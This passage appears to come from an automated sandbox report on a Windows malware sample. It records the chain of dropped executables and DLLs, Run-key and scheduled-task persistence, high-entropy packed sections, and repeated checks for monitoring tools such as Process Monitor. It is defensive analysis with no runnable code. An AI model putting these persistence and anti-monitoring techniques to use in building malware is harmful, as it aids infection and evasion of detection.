Source: softokn3.dll.8.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.8.dr	Static PE information: section name: .00cfg
Source: DocumentsBAEBGHCFCA.exe.8.dr	Static PE information: section name:
Source: DocumentsBAEBGHCFCA.exe.8.dr	Static PE information: section name: .idata
Source: DocumentsBAEBGHCFCA.exe.8.dr	Static PE information: section name: kjmqizur
Source: DocumentsBAEBGHCFCA.exe.8.dr	Static PE information: section name: gtlovhwt
Source: DocumentsBAEBGHCFCA.exe.8.dr	Static PE information: section name: .taggant
Source: random[2].exe.8.dr	Static PE information: section name:
Source: random[2].exe.8.dr	Static PE information: section name: .idata
Source: random[2].exe.8.dr	Static PE information: section name: kjmqizur
Source: random[2].exe.8.dr	Static PE information: section name: gtlovhwt
Source: random[2].exe.8.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C2D91C push ecx; ret	0_2_00C2D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C21359 push es; ret	0_2_00C2135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_009AD91C push ecx; ret	1_2_009AD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009AD91C push ecx; ret	2_2_009AD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_009AD91C push ecx; ret	6_2_009AD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_009CDEDB push ss; iretd	6_2_009CDEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_009ADFC6 push ecx; ret	6_2_009ADFD9
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Code function: 7_3_01265399 push ds; ret	7_3_0126539A

Source: file.exe	Static PE information: section name: entropy: 7.032790296995252
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.032790296995252
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 6.9839631588707105
Source: 44e053de15.exe.6.dr	Static PE information: section name: entropy: 6.9839631588707105
Source: random[1].exe0.6.dr	Static PE information: section name: wltmzozy entropy: 7.953115709164418
Source: 932a9eb371.exe.6.dr	Static PE information: section name: wltmzozy entropy: 7.953115709164418
Source: random[1].exe1.6.dr	Static PE information: section name: entropy: 7.7862430108986205
Source: 803fbc23e3.exe.6.dr	Static PE information: section name: entropy: 7.7862430108986205
Source: DocumentsBAEBGHCFCA.exe.8.dr	Static PE information: section name: entropy: 7.032790296995252
Source: random[2].exe.8.dr	Static PE information: section name: entropy: 7.032790296995252

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe

File created: C:\Users\user\DocumentsBAEBGHCFCA.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\Users\user\DocumentsBAEBGHCFCA.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe

File created: C:\Users\user\DocumentsBAEBGHCFCA.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 932a9eb371.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 44e053de15.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 803fbc23e3.exe	Jump to behavior

Drops PE files to the user root directory

Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe

File created: C:\Users\user\DocumentsBAEBGHCFCA.exe

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 44e053de15.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 44e053de15.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 932a9eb371.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 932a9eb371.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 803fbc23e3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 803fbc23e3.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

